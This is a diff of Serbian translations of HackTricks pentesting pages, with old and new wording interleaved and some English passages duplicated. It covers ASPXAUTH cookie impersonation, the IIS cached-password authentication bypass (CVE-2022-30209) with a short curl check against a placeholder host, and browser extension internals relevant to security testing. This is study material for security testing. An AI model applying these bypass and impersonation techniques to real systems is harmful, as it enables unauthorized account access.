Međutim, neki ljudi će koristiti **podrazumevane vrednosti** ovih parametara i koristiće kao **kolačić email korisnika**. Stoga, ako možete pronaći veb sajt koji koristi **istu platformu** koja koristi ASPXAUTH kolačić i **napravite korisnika sa emailom korisnika kojeg želite da imitirate** na serveru pod napadom, možda ćete moći da **koristite kolačić sa drugog servera na prvom** i imitirate korisnika.\
|
Međutim, neki ljudi će koristiti **default vrednosti** ovih parametara i koristiti kao **cookie email korisnika**. Dakle, ako možete naći web koji koristi istu platformu i koji koristi ASPXAUTH cookie i **na tom drugom serveru kreirate korisnika sa emailom korisnika kojeg želite da impersonate**, možda ćete moći da iskoristite cookie sa drugog servera na prvom i impersonate tog korisnika.\
|
||||||
Ovaj napad je uspeo u ovom [**izveštaju**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
Ovaj napad je uspeo u ovom [**writeup‑u**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||||
|
|
||||||
## IIS Obilaženje autentifikacije sa keširanim lozinkama (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||||
|
|
||||||
[Potpuni izveštaj ovde](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Greška u kodu **nije pravilno proverila lozinku koju je dao korisnik**, tako da će napadač čija **hash lozinka odgovara ključu** koji je već u **kešu** moći da se prijavi kao taj korisnik.
|
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Bag u kodu **nije pravilno proveravao lozinku koju je dao korisnik**, tako da napadač čiji **password hash pada na key** koji je već u **cache‑u** će moći da se prijavi kao taj korisnik.
|
||||||
```python
|
```python
|
||||||
# script for sanity check
|
# script for sanity check
|
||||||
> type test.py
|
> type test.py
|
||||||
@ -261,4 +379,9 @@ HTTP/1.1 401 Unauthorized
|
|||||||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
```
|
```
|
||||||
|
## Izvori
|
||||||
|
|
||||||
|
- [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
|
||||||
|
- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,43 +1,43 @@
|
|||||||
# Методологија Пентестинга Прегледачких Додатака
|
# Metodologija Browser Extension Pentesting
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Основне Информације
|
## Osnovne informacije
|
||||||
|
|
||||||
Прегледачки додаци су написани у JavaScript-у и учитава их прегледач у позадини. Има свој [DOM](https://www.w3schools.com/js/js_htmldom.asp) али може да интерагује са DOM-овима других сајтова. То значи да може угрожавати повјерљивост, интегритет и доступност (CIA) других сајтова.
|
Browser ekstenzije su napisane u JavaScript i učitavaju se u pozadini pregledača. Imaju svoj [DOM](https://www.w3schools.com/js/js_htmldom.asp) ali mogu da interaguju sa DOM-ovima drugih sajtova. To znači da mogu ugroziti poverljivost, integritet i dostupnost (CIA).
|
||||||
|
|
||||||
## Главне Компоненте
|
## Glavne komponente
|
||||||
|
|
||||||
Распоред додатака изгледа најбоље када се визуализује и састоји се од три компоненте. Погледајмо сваку компоненту детаљно.
|
Izgled ekstenzije najbolje je vizuelizovati i sastoji se iz tri komponente. Pogledajmo svaku komponentu detaljno.
|
||||||
|
|
||||||
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
### **Скрипте Садржаја**
|
### **Skripte sadržaja (Content Scripts)**
|
||||||
|
|
||||||
Свака скрипта садржаја има директан приступ DOM-у **једне веб странице** и тиме је изложена **потенцијално злонамерном улазу**. Међутим, скрипта садржаја не садржи дозволе осим способности да шаље поруке основи додатка.
|
Svaka skripta sadržaja ima direktan pristup DOM-u **jedne web stranice** i time je izložena **potencijalno zlonamernom unosu**. Međutim, skripta sadržaja nema dozvole osim mogućnosti slanja poruka jezgru ekstenzije.
|
||||||
|
|
||||||
### **Основна Структура Додатка**
|
### **Jezgro ekstenzije (Extension Core)**
|
||||||
|
|
||||||
Основна структура додатка садржи већину привилегија/приступа додатку, али основна структура може да интерагује са веб садржајем само преко [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) и скрипти садржаја. Такође, основна структура не има директан приступ хост машини.
|
Jezgro ekstenzije sadrži većinu privilegija/pristupa ekstenzije, ali jezgro ekstenzije može da interaguje sa web sadržajem samo putem [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) i content scripts. Takođe, jezgro ekstenzije nema direktan pristup host mašini.
|
||||||
|
|
||||||
### **Нативна Бинарна**
|
### **Native Binary**
|
||||||
|
|
||||||
Додатак омогућава нативну бинарну датотеку која може **приступити хост машини са пуном привилегијом корисника.** Нативна бинарна интерагује са основном структуром додатка преко стандардног Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) који користе Flash и други прегледачки додаци.
|
Ekstenzija dozvoljava nativni binarni fajl koji može da pristupi host mašini sa punim privilegijama korisnika. Nativni binarni fajl komunicira sa jezgrom ekstenzije kroz standardni Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) koji koriste Flash i drugi browser plug-inovi.
|
||||||
|
|
||||||
### Границе
|
### Granice
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Да би добио пуне привилегије корисника, нападач мора убедити додатак да пренесе злонамерни улаз из скрипте садржаја у основну структуру додатка и из основне структуре у нативну бинарну.
|
> Da bi napadač dobio pune privilegije korisnika, mora ubediti ekstenziju da prosledi zlonamerni unos iz skripte sadržaja u jezgro ekstenzije i iz jezgra ekstenzije u nativni binarni fajl.
|
||||||
|
|
||||||
Свака компонента додатка је одвојена од других **јаким заштитним границама**. Свака компонента ради у **одвојеном процесу оперативног система**. Скрипте садржаја и основне структуре додатка раде у **sandbox процесима** недоступним већини услуга оперативног система.
|
Svaka komponenta ekstenzije je odvojena od ostalih snažnim zaštitnim granicama. Svaka komponenta se izvršava u zasebnom procesu operativnog sistema. Skripte sadržaja i jezgra ekstenzije rade u sandbox procesima koji nisu dostupni većini servisa operativnog sistema.
|
||||||
|
|
||||||
Штавише, скрипте садржаја су одвојене од својих повезаних веб страница **покрећући се у одвојеном JavaScript хипу**. Скрипта садржаја и веб страница имају **приступ истом основном DOM-u**, али се двоје **никада не размењују JavaScript показиваче**, спречавајући цурење JavaScript функционалности.
|
Štaviše, skripte sadržaja su odvojene od povezanih web stranica tako što se izvršavaju u zasebnom JavaScript heap-u. Skripta sadržaja i web stranica imaju pristup istom osnovnom DOM-u, ali ta dva nikada ne razmenjuju JavaScript pokazivače, sprečavajući leaking JavaScript funkcionalnosti.
|
||||||
|
|
||||||
## **`manifest.json`**
|
## **`manifest.json`**
|
||||||
|
|
||||||
Chrome додатак је само ZIP фасцикла са [.crx екстензијом датотеке](https://www.lifewire.com/crx-file-2620391). Основна структура додатка је **`manifest.json`** датотека у корену фасцикле, која специфицира распоред, дозволе и друге опције конфигурације.
|
Chrome ekstenzija je u suštini ZIP folder sa [.crx file extension](https://www.lifewire.com/crx-file-2620391). Jezgro ekstenzije je **`manifest.json`** fajl u korenu foldera, koji specificira izgled, dozvole i druge konfiguracione opcije.
|
||||||
|
|
||||||
Пример:
|
Primer:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"manifest_version": 2,
|
"manifest_version": 2,
|
||||||
@ -61,7 +61,7 @@ Chrome додатак је само ZIP фасцикла са [.crx екстен
|
|||||||
```
|
```
|
||||||
### `content_scripts`
|
### `content_scripts`
|
||||||
|
|
||||||
Skripte sadržaja se **učitavaju** svaki put kada korisnik **navigira na odgovarajuću stranicu**, u našem slučaju bilo koja stranica koja odgovara **`https://example.com/*`** izrazu i ne odgovara **`*://*/*/business*`** regex-u. Izvršavaju se **poput skripti same stranice** i imaju proizvoljan pristup [Modelu objekta dokumenta (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
|
Content scripts se **učitavaju** kad god korisnik **navigira na odgovarajuću stranicu**, u našem slučaju bilo kojoj stranici koja odgovara izrazu **`https://example.com/*`** i koja ne odgovara regexu **`*://*/*/business*`**. Izvršavaju se **kao skripte same stranice** i imaju proizvoljan pristup stranici [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
|
||||||
```json
|
```json
|
||||||
"content_scripts": [
|
"content_scripts": [
|
||||||
{
|
{
|
||||||
@ -76,9 +76,9 @@ Skripte sadržaja se **učitavaju** svaki put kada korisnik **navigira na odgova
|
|||||||
}
|
}
|
||||||
],
|
],
|
||||||
```
|
```
|
||||||
Da bi se uključilo ili isključilo više URL-ova, takođe je moguće koristiti **`include_globs`** i **`exclude_globs`**.
|
Da biste uključili ili isključili više URL-ova, možete koristiti i **`include_globs`** i **`exclude_globs`**.
|
||||||
|
|
||||||
Ovo je primer sadržajnog skripta koji će dodati dugme za objašnjenje na stranicu kada [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) preuzme `message` vrednost iz skladišta ekstenzije.
|
Ovo je primer content script-a koji će dodati dugme 'explain' na stranicu i koristiti [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) da preuzme vrednost `message` iz skladišta ekstenzije.
|
||||||
```js
|
```js
|
||||||
chrome.storage.local.get("message", (result) => {
|
chrome.storage.local.get("message", (result) => {
|
||||||
let div = document.createElement("div")
|
let div = document.createElement("div")
|
||||||
@ -91,22 +91,22 @@ document.body.appendChild(div)
|
|||||||
```
|
```
|
||||||
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Poruka se šalje na stranice ekstenzije putem sadržajnog skripta kada se pritisne ovaj dugme, korišćenjem [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). To je zbog ograničenja sadržajnog skripta u direktnom pristupu API-ima, pri čemu je `storage` jedan od retkih izuzetaka. Za funkcionalnosti izvan ovih izuzetaka, poruke se šalju na stranice ekstenzije sa kojima sadržajni skripti mogu komunicirati.
|
Poruka se šalje na extension pages od strane content scripta kada se ovaj dugme klikne, kroz korišćenje [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). To je zbog ograničenja content scripta u direktnom pristupu API-ima, pri čemu je `storage` među retkim izuzecima. Za funkcionalnosti koje prelaze ove izuzetke, poruke se šalju na extension pages sa kojima content scripts mogu da komuniciraju.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> U zavisnosti od pretraživača, mogućnosti sadržajnog skripta mogu se malo razlikovati. Za pretraživače zasnovane na Chromium-u, lista mogućnosti je dostupna u [Chrome Developers dokumentaciji](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), a za Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) služi kao primarni izvor.\
|
> U zavisnosti od pregledača, mogućnosti content scripta se mogu blago razlikovati. Za Chromium-based browsers, lista mogućnosti je dostupna u [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), a za Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) služi kao glavni izvor.\
|
||||||
> Takođe je važno napomenuti da sadržajni skripti imaju sposobnost da komuniciraju sa pozadinskim skriptima, omogućavajući im da izvršavaju radnje i prenose odgovore nazad.
|
> Takođe je vredno napomenuti da content scripts imaju mogućnost komunikacije sa background scripts, što im omogućava da izvrše akcije i proslede odgovore nazad.
|
||||||
|
|
||||||
Za pregledanje i debagovanje sadržajnih skripti u Chrome-u, meni alata za programere može se pristupiti iz Opcije > Više alata > Alati za programere ili pritiskom na Ctrl + Shift + I.
|
Za pregled i debugovanje content scripts u Chrome-u, meni Chrome developer tools može se pristupiti iz Options > More tools > Developer tools ILI pritiskom na Ctrl + Shift + I.
|
||||||
|
|
||||||
Kada se prikažu alati za programere, treba kliknuti na **Source tab**, a zatim na **Content Scripts** tab. Ovo omogućava posmatranje aktivnih sadržajnih skripti iz različitih ekstenzija i postavljanje tačaka prekida za praćenje toka izvršenja.
|
Kada se developer tools prikažu, kliknite na **Source tab**, potom na **Content Scripts** tab. Ovo omogućava posmatranje pokrenutih content scripts iz različitih ekstenzija i postavljanje breakpoints-a za praćenje toka izvršavanja.
|
||||||
|
|
||||||
### Umetnuti sadržajni skripti
|
### Injected content scripts
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Imajte na umu da **Sadržajni skripti nisu obavezni** jer je takođe moguće **dinamički** **umetati** skripte i **programatski ih umetati** na web stranice putem **`tabs.executeScript`**. Ovo zapravo pruža više **granularnih kontrola**.
|
> Imajte na umu da **Content Scripts nisu obavezni** jer je takođe moguće **dinamički** **injektovati** skripte i **programatski ih injektovati** u web stranice putem **`tabs.executeScript`**. Ovo zapravo pruža više **granular controls**.
|
||||||
|
|
||||||
Za programatsko umetanje sadržajnog skripta, ekstenzija mora imati [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) za stranicu u koju se skripte treba umetnuti. Ove dozvole mogu se obezbediti ili **zahtevom** unutar manifest-a ekstenzije ili privremeno putem [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
Za programatsko injektovanje content scripta, ekstenzija mora imati [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) za stranicu u koju će skripte biti injektovane. Ove dozvole mogu se obezbediti ili njihovim **zahtevanjem** u manifestu ekstenzije ili privremeno putem [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||||
|
|
||||||
#### Primer ekstenzije zasnovane na activeTab
|
#### Primer ekstenzije zasnovane na activeTab
|
||||||
```json:manifest.json
|
```json:manifest.json
|
||||||
@ -125,7 +125,7 @@ Za programatsko umetanje sadržajnog skripta, ekstenzija mora imati [host permis
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- **Umetnite JS datoteku na klik:**
|
- **Inject JS fajl na klik:**
|
||||||
```javascript
|
```javascript
|
||||||
// content-script.js
|
// content-script.js
|
||||||
document.body.style.backgroundColor = "orange"
|
document.body.style.backgroundColor = "orange"
|
||||||
@ -138,7 +138,7 @@ files: ["content-script.js"],
|
|||||||
})
|
})
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
- **Umetnite funkciju** na klik:
|
- **Inject a function** na klik:
|
||||||
```javascript
|
```javascript
|
||||||
//service-worker.js - Inject a function
|
//service-worker.js - Inject a function
|
||||||
function injectedFunction() {
|
function injectedFunction() {
|
||||||
@ -152,7 +152,7 @@ func: injectedFunction,
|
|||||||
})
|
})
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
#### Primer sa dozvolama za skripting
|
#### Primer sa dozvolama za skriptovanje
|
||||||
```javascript
|
```javascript
|
||||||
// service-workser.js
|
// service-workser.js
|
||||||
chrome.scripting.registerContentScripts([
|
chrome.scripting.registerContentScripts([
|
||||||
@ -167,19 +167,19 @@ js: ["contentScript.js"],
|
|||||||
// Another example
|
// Another example
|
||||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
||||||
```
|
```
|
||||||
Da bi se uključilo ili isključilo više URL-ova, takođe je moguće koristiti **`include_globs`** i **`exclude_globs`**.
|
Da biste uključili ili isključili više URL-ova, moguće je koristiti **`include_globs`** i **`exclude_globs`**.
|
||||||
|
|
||||||
### Content Scripts `run_at`
|
### Content Scripts `run_at`
|
||||||
|
|
||||||
Polje `run_at` kontroliše **kada se JavaScript datoteke ubacuju u web stranicu**. Preferirana i podrazumevana vrednost je `"document_idle"`.
|
Polje `run_at` kontroliše **kada se JavaScript fajlovi ubacuju u web stranicu**. Poželjna i podrazumevana vrednost je `"document_idle"`.
|
||||||
|
|
||||||
Moguće vrednosti su:
|
Moguće vrednosti su:
|
||||||
|
|
||||||
- **`document_idle`**: Kada god je to moguće
|
- **`document_idle`**: Kad god je moguće
|
||||||
- **`document_start`**: Nakon bilo kojih datoteka iz `css`, ali pre nego što se konstruira bilo koji drugi DOM ili se pokrene bilo koji drugi skript.
|
- **`document_start`**: Nakon svih fajlova iz `css`, ali pre nego što se ostali delovi DOM-a konstruišu ili pre nego što se pokrene bilo koji drugi skript.
|
||||||
- **`document_end`**: Odmah nakon što je DOM završen, ali pre nego što se učitaju podresursi poput slika i okvira.
|
- **`document_end`**: Odmah nakon što je DOM kompletan, ali pre nego što podresursi poput slika i frejmova budu učitani.
|
||||||
|
|
||||||
#### Via `manifest.json`
|
#### Putem `manifest.json`
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "My extension",
|
"name": "My extension",
|
||||||
@ -208,18 +208,18 @@ js: ["contentScript.js"],
|
|||||||
```
|
```
|
||||||
### `background`
|
### `background`
|
||||||
|
|
||||||
Poruke koje šalju sadržajni skripti primaju se na **background page**, koja ima centralnu ulogu u koordinaciji komponenti ekstenzije. Značajno je da background page opstaje tokom celog trajanja ekstenzije, delujući diskretno bez direktne interakcije korisnika. Ima svoj vlastiti Document Object Model (DOM), što omogućava složene interakcije i upravljanje stanjem.
|
Poruke koje šalju content scripts primaju se na **background page**, koja ima centralnu ulogu u koordinaciji komponenti ekstenzije. Važno je da background page opstaje tokom celog životnog veka ekstenzije, radi diskretno bez direktne interakcije sa korisnikom. Ona poseduje sopstveni Document Object Model (DOM), što omogućava kompleksne interakcije i upravljanje stanjem.
|
||||||
|
|
||||||
**Ključne tačke**:
|
**Key Points**:
|
||||||
|
|
||||||
- **Uloga Background Page:** Deluje kao nervni centar za ekstenziju, obezbeđujući komunikaciju i koordinaciju među različitim delovima ekstenzije.
|
- **Background Page Role:** Deluje kao centralni nervni centar ekstenzije, obezbeđujući komunikaciju i koordinaciju između različitih delova ekstenzije.
|
||||||
- **Persistencija:** To je uvek prisutna entitet, nevidljiva korisniku, ali integralna za funkcionalnost ekstenzije.
|
- **Persistence:** To je stalna komponenta, nevidljiva korisniku ali ključna za funkcionalnost ekstenzije.
|
||||||
- **Automatska Generacija:** Ako nije eksplicitno definisana, pretraživač će automatski kreirati background page. Ova automatski generisana stranica će uključivati sve background skripte navedene u manifestu ekstenzije, obezbeđujući nesmetano funkcionisanje pozadinskih zadataka ekstenzije.
|
- **Automatic Generation:** Ako nije eksplicitno definisana, browser će automatski kreirati background page. Ova automatski generisana stranica uključiće sve background skripte navedene u manifestu ekstenzije, osiguravajući neometan rad background zadataka ekstenzije.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Povoljnost koju pretraživač pruža automatskim generisanjem background page (kada nije eksplicitno navedena) osigurava da su sve potrebne background skripte integrisane i operativne, pojednostavljujući proces postavljanja ekstenzije.
|
> Pogodnost koju browser pruža automatskim generisanjem background page (kada nije eksplicitno deklarisana) osigurava da su sve neophodne background skripte integrisane i operativne, pojednostavljujući proces podešavanja ekstenzije.
|
||||||
|
|
||||||
Primer background skripte:
|
Example background script:
|
||||||
```js
|
```js
|
||||||
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
|
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
|
||||||
if (request == "explain") {
|
if (request == "explain") {
|
||||||
@ -227,35 +227,61 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
Koristi [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) za slušanje poruka. Kada se primi poruka `"explain"`, koristi [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) da otvori stranicu u novoj kartici.
|
It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab.
|
||||||
|
|
||||||
Da biste debagovali pozadinski skript, možete otići na **detalje ekstenzije i inspektovati servisnog radnika,** što će otvoriti alate za programere sa pozadinskim skriptom:
|
Koristi [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) za osluškivanje poruka. Kada se primi poruka `"explain"`, koristi [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) da otvori stranicu u novoj kartici.
|
||||||
|
|
||||||
|
To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script:
|
||||||
|
|
||||||
|
Da biste otklonili greške u background skripti, možete otići na **extension details and inspect the service worker,** što će otvoriti developer tools sa background skriptom:
|
||||||
|
|
||||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Opcione stranice i druge
|
### Options pages and other
|
||||||
|
|
||||||
Ekstenzije pretraživača mogu sadržati razne vrste stranica:
|
Options pages and other
|
||||||
|
|
||||||
- **Akcione stranice** se prikazuju u **ispod kada se klikne na ikonu ekstenzije.**
|
Browser extensions can contain various kinds of pages:
|
||||||
- Stranice koje će ekstenzija **učitati u novoj kartici.**
|
|
||||||
- **Opcione stranice**: Ova stranica se prikazuje na vrhu ekstenzije kada se klikne. U prethodnom manifestu, u mom slučaju, mogao sam da pristupim ovoj stranici na `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ili klikom:
|
Browser ekstenzije mogu sadržati različite vrste stranica:
|
||||||
|
|
||||||
|
- **Action pages** are displayed in a **drop-down when the extension ico**n is clicked.
|
||||||
|
- Pages that the extension will **load in a new tab**.
|
||||||
|
- **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking:
|
||||||
|
|
||||||
|
- **Action pages** se prikazuju u obliku **drop-down menija kada se klikne ikona ekstenzije**.
|
||||||
|
- Stranice koje ekstenzija učitava u **novoj kartici**.
|
||||||
|
- **Option Pages**: Ova stranica se prikazuje iznad ekstenzije kada se klikne. U mom slučaju, u starom manifestu uspeo sam da pristupim ovoj stranici preko `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ili klikom:
|
||||||
|
|
||||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Imajte na umu da ove stranice nisu trajne kao pozadinske stranice, jer dinamički učitavaju sadržaj po potrebi. I pored toga, dele određene mogućnosti sa pozadinskom stranicom:
|
Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page:
|
||||||
|
|
||||||
- **Komunikacija sa sadržajnim skriptama:** Slično pozadinskoj stranici, ove stranice mogu primati poruke od sadržajnih skripti, olakšavajući interakciju unutar ekstenzije.
|
Imajte na umu da ove stranice nisu persistentne kao background pages — učitavaju se dinamički po potrebi. Uprkos tome, dele određene mogućnosti sa background page:
|
||||||
- **Pristup API-ima specifičnim za ekstenziju:** Ove stranice uživaju sveobuhvatan pristup API-ima specifičnim za ekstenziju, podložnim dozvolama definisanim za ekstenziju.
|
|
||||||
|
- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension.
|
||||||
|
- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension.
|
||||||
|
|
||||||
|
- **Komunikacija sa Content Scripts:** Slično background page, ove stranice mogu primati poruke od content scripts, olakšavajući interakciju unutar ekstenzije.
|
||||||
|
- **Pristup extension-specific APIs:** Ove stranice imaju širi pristup extension-specific APIs, u okviru permisija definisanih za ekstenziju.
|
||||||
|
|
||||||
### `permissions` & `host_permissions`
|
### `permissions` & `host_permissions`
|
||||||
|
|
||||||
**`permissions`** i **`host_permissions`** su unosi iz `manifest.json` koji će označiti **koje dozvole** ekstenzija pretraživača ima (smeštaj, lokacija...) i **na kojim web stranicama**.
|
### `permissions` & `host_permissions`
|
||||||
|
|
||||||
Kako ekstenzije pretraživača mogu biti tako **privilegovane**, zlonamerna ili kompromitovana ekstenzija mogla bi omogućiti napadaču **različite načine da ukrade osetljive informacije i špijunira korisnika**.
|
**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**.
|
||||||
|
|
||||||
Proverite kako ove postavke funkcionišu i kako bi mogle biti zloupotrebljene u:
|
Pošto su browser ekstenzije često vrlo privilegovane, maliciozna ekstenzija ili kompromitovana ekstenzija može napadaču omogućiti različite načine za krađu osetljivih informacija i nadgledanje korisnika.
|
||||||
|
|
||||||
|
Proverite kako ova podešavanja funkcionišu i kako se mogu zloupotrebiti u:
|
||||||
|
|
||||||
|
**`permissions`** i **`host_permissions`** su unosi u `manifest.json` koji ukazuju **koje permisije** ekstenzija zahteva (storage, location...) i **na kojim web stranicama**.
|
||||||
|
|
||||||
|
Pošto su browser ekstenzije često veoma privilegovane, maliciozna ili kompromitovana ekstenzija može napadaču omogućiti različite načine za krađu osetljivih informacija i nadgledanje korisnika.
|
||||||
|
|
||||||
|
Check how these settings work and how they could get abused in:
|
||||||
|
|
||||||
|
Pogledajte kako ova podešavanja funkcionišu i kako se mogu zloupotrebiti u:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browext-permissions-and-host_permissions.md
|
browext-permissions-and-host_permissions.md
|
||||||
@ -263,13 +289,20 @@ browext-permissions-and-host_permissions.md
|
|||||||
|
|
||||||
### `content_security_policy`
|
### `content_security_policy`
|
||||||
|
|
||||||
**Politika bezbednosti sadržaja** može biti deklarisana i unutar `manifest.json`. Ako je jedna definisana, mogla bi biti **ranjiva**.
|
### `content_security_policy`
|
||||||
|
|
||||||
Podrazumevana postavka za stranice ekstenzija pretraživača je prilično restriktivna:
|
A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**.
|
||||||
|
|
||||||
|
U `manifest.json` se može deklarisati i **content security policy**. Ako je definisana, ona može biti **ranjiva**.
|
||||||
|
|
||||||
|
The default setting for browser extension pages is rather restrictive:
|
||||||
|
|
||||||
|
Podrazumevana podešavanja za stranice ekstenzije su prilično restriktivna:
|
||||||
```bash
|
```bash
|
||||||
script-src 'self'; object-src 'self';
|
script-src 'self'; object-src 'self';
|
||||||
```
|
```
|
||||||
Za više informacija o CSP-u i potencijalnim zaobilaženjima proverite:
|
Za više informacija o CSP i potencijalnim bypass-ima pogledajte:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../content-security-policy-csp-bypass/
|
../content-security-policy-csp-bypass/
|
||||||
@ -277,7 +310,7 @@ Za više informacija o CSP-u i potencijalnim zaobilaženjima proverite:
|
|||||||
|
|
||||||
### `web_accessible_resources`
|
### `web_accessible_resources`
|
||||||
|
|
||||||
da bi veb stranica imala pristup stranici ekstenzije pregledača, na primer, `.html` stranici, ova stranica mora biti pomenuta u **`web_accessible_resources`** polju `manifest.json`.\
|
Da bi web stranica mogla da pristupi stranici Browser Extension-a, na primer `.html` stranici, ta stranica mora biti navedena u polju **`web_accessible_resources`** u `manifest.json`.\
|
||||||
Na primer:
|
Na primer:
|
||||||
```javascript
|
```javascript
|
||||||
{
|
{
|
||||||
@ -295,71 +328,72 @@ Na primer:
|
|||||||
...
|
...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Ove stranice su dostupne na URL-u kao:
|
Ove stranice su dostupne na URL-ovima poput:
|
||||||
```
|
```
|
||||||
chrome-extension://<extension-id>/message.html
|
chrome-extension://<extension-id>/message.html
|
||||||
```
|
```
|
||||||
U javnim ekstenzijama **extension-id je dostupan**:
|
In public extensions the **extension-id is accesible**:
|
||||||
|
|
||||||
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
|
